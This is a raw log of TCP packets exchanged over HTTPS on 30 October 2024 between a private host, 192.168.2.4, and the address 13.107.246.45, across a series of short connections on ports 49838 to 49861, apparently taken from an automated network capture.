Oct 30, 2024 02:28:10.805625916 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.805629969 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.848661900 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.848807096 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.848877907 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.848946095 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.848946095 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.848980904 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.849020004 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.851568937 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.851613045 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.851681948 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.851835012 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.851861000 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.860745907 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.860918045 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.860966921 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.860985994 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.860995054 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.861005068 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.861008883 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.863297939 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.863378048 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.863444090 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.863550901 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.863584995 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.911483049 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.911851883 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.911890030 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.912230015 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.912240982 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.932122946 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.932177067 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.932224989 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.932235003 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.932305098 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.932344913 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.932411909 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.932415962 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.932425022 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.932427883 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.934541941 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.934567928 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.934680939 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.934811115 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.934828997 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.987999916 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.988316059 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.988329887 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:10.988699913 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:10.988704920 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.043324947 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.043342113 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.043411970 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.043437958 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.043467045 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.043517113 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.043582916 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.043608904 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.043636084 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.043649912 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.045551062 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.045578957 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.045676947 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.045804977 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.045830965 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.119818926 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.120050907 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.120280981 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.120328903 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.120337009 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.120347977 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.120352030 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.122725964 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.122736931 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.122808933 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.122946024 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.122957945 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.589025974 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.589546919 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.589639902 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.590037107 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.590050936 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.621402979 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.621826887 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.621875048 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.622298956 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.622313023 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.678294897 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.678656101 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.678668976 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.679055929 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.679060936 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.727483988 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.727530956 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.727605104 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.727637053 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.727684975 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.727685928 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.727736950 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.727736950 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.727782011 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.727811098 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.730307102 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.730331898 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.730439901 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.730593920 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.730607986 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752300978 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752352953 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752413034 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.752454996 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752489090 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752537012 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.752578974 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752605915 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.752605915 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.752626896 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.752649069 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.754496098 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.754525900 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.754571915 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.754729986 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.754744053 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.810455084 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.811034918 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.811064959 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.811491966 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.811506033 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.817485094 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.817653894 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.817713022 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.817760944 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.817775965 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.817785978 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.817791939 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.820187092 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.820213079 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.820271015 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.820419073 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.820431948 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.865901947 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.866455078 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.866465092 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.866863966 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.866868973 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.946018934 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.946120024 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.946223974 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.946450949 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.946484089 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.946510077 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.946523905 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.949253082 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.949280977 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:11.949353933 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.949589014 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:11.949595928 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.005511999 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.005680084 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.005742073 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.005826950 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.005835056 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.005861044 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.005865097 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.007801056 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.007833004 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.007900953 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.007988930 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.008002996 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.478133917 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.481158018 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.481185913 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.481564045 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.481569052 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.499195099 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.499562025 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.499577999 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.499929905 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.499933958 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.567152023 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.567595005 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.567605972 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.568037987 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.568042994 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.612726927 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.612879038 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.612931013 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.612950087 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.612957954 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.612986088 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.612989902 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.615315914 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.615345955 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.615467072 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.615592957 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.615602016 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.629981041 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.630112886 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.630173922 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.630223036 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.630235910 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.630245924 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.630261898 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.632082939 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.632103920 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.632353067 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.632476091 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.632489920 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.677798986 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.678117990 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.678126097 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.678508997 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.678523064 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.700912952 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.701081038 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.701138973 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.701163054 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.701173067 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.701185942 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.701189041 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.703021049 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.703036070 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.703293085 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.703427076 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.703438044 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.747776031 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.748119116 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.748132944 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.748492956 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.748498917 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.814573050 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.814632893 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.814727068 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.814935923 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.814948082 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.814958096 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.814963102 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.817756891 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.817790031 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.817882061 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.817986012 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.817995071 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.879189014 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.879432917 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.882688999 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.882723093 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.882735014 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.882751942 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.882756948 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.884963989 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.884974957 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:12.886676073 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.886804104 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:12.886816025 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.366085052 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.366602898 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.366616964 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.366942883 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.367070913 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.367075920 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.367196083 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.367207050 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.367520094 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.367523909 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.445221901 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.445557117 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.445566893 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.445919991 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.445934057 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.496556997 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.496640921 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.496690035 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.496838093 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.496845007 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.496855021 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.496859074 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.499078989 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.499244928 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.499305964 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.499340057 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.499355078 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.499366045 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.499371052 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.499675035 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.499695063 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.499772072 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.499886036 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.499893904 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.501532078 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.501543999 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.501753092 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.501753092 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.501773119 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.577186108 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.577291012 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.577362061 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.577372074 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.577408075 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.577456951 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.577584982 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.577593088 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.577601910 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.577608109 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.580212116 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.580244064 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.580326080 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.580488920 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.580501080 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.589940071 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.590284109 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.590291023 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.590693951 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.590698004 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.645828962 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.646135092 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.646143913 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.646500111 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.646509886 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.726825953 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.726885080 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.726932049 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.727087021 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.727102041 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.727111101 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.727114916 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.729660988 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.729682922 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.729757071 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.729861021 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.729873896 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.784226894 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.784295082 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.784359932 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.784369946 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.784400940 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.784447908 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.784562111 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.784562111 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.784569025 CET	443	49857	13.107.246.45	192.168.2.4
